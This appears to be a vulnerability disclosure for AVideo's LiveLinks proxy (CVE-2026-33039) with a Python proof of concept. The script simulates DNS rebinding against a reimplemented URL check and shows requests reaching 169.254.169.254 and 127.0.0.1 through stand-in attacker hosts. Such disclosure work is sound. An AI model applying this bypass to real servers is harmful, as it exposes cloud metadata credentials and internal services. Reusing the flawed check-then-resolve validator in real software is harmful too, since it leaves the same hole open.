WWBN AVideo has an incomplete fix for CVE-2026-33039: SSRF

#!/usr/bin/env python3
"""
CVE-2026-33039 - AVideo LiveLinks Proxy SSRF via DNS Rebinding
"""

import re
import sys

class DNSResolver:
    def __init__(self):
        self._call_count = {}

    def resolve(self, host):
        if host not in self._call_count:
            self._call_count[host] = 0
        self._call_count[host] += 1

        if host == "rebind.attacker.com":
            return "93.184.216.34" if self._call_count[host] == 1 else "169.254.169.254"
        if host == "rebind-loopback.attacker.com":
            return "93.184.216.34" if self._call_count[host] == 1 else "127.0.0.1"

        static = {"attacker.com": "93.184.216.34", "example.com": "93.184.216.34", "localhost": "127.0.0.1"}
        return static.get(host, None)

    def reset(self):
        self._call_count = {}

dns = DNSResolver()

def php_parse_url_host(url):
    match = re.match(r'https?://([^/:?#]+)', url, re.IGNORECASE)
    return match.group(1).lower() if match else None

def php_filter_validate_ip(s):
    if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', s):
        return all(0 <= int(p) <= 255 for p in s.split('.'))
    return False

def is_ssrf_safe_url(url):
    if not url: return False, "empty"
    host = php_parse_url_host(url)
    if not host: return False, "no host"

    for pat in ['localhost', '127.0.0.1', '::1', '0.0.0.0']:
        if host == pat: return False, f"blocked: {host}"

    ip = host
    if not php_filter_validate_ip(host):
        resolved = dns.resolve(host)
        if not resolved: return False, "DNS failed"
        ip = resolved

    for pattern in [r'^10\.', r'^172\.(1[6-9]|2\d|3[0-1])\.', r'^192\.168\.', r'^127\.', r'^169\.254\.']:
        if re.match(pattern, ip): return False, f"blocked: {ip}"

    return True, f"allowed ({ip})"

def main():
    print("=" * 72)
    print("CVE-2026-33039 - AVideo LiveLinks Proxy SSRF PoC")
    print("=" * 72)

    vuln_count = 0

    print("\n[TEST 1] DNS rebinding on initial URL")
    dns.reset()
    safe, reason = is_ssrf_safe_url("http://rebind.attacker.com/meta-data/")
    actual_ip = dns.resolve("rebind.attacker.com")
    print(f"  isSSRFSafeURL: safe={safe}, reason={reason}")
    print(f"  Actual request goes to: {actual_ip}")
    if safe and actual_ip == "169.254.169.254":
        print("  => BYPASS!")
        vuln_count += 1

    print("\n[TEST 2] DNS rebinding on redirect URL")
    dns.reset()
    safe_r, _ = is_ssrf_safe_url("http://rebind-loopback.attacker.com/admin/")
    final_ip = dns.resolve("rebind-loopback.attacker.com")
    print(f"  isSSRFSafeURL: safe={safe_r}")
    print(f"  fakeBrowser() goes to: {final_ip}")
    if safe_r and final_ip == "127.0.0.1":
        print("  => BYPASS!")
        vuln_count += 1

    print("\n[TEST 3] get_headers() side-effect")
    dns.reset()
    safe, _ = is_ssrf_safe_url("http://rebind.attacker.com:8080/probe")
    side_ip = dns.resolve("rebind.attacker.com")
    print(f"  isSSRFSafeURL passed: {safe}")
    print(f"  get_headers() reached: {side_ip}")
    if safe and side_ip == "169.254.169.254":
        print("  => BYPASS!")
        vuln_count += 1

    print(f"\nBypass vectors: {vuln_count}")
    if vuln_count > 0:
        print("\nVULNERABILITY CONFIRMED")
        return 0
    return 1

if __name__ == "__main__":
    sys.exit(main())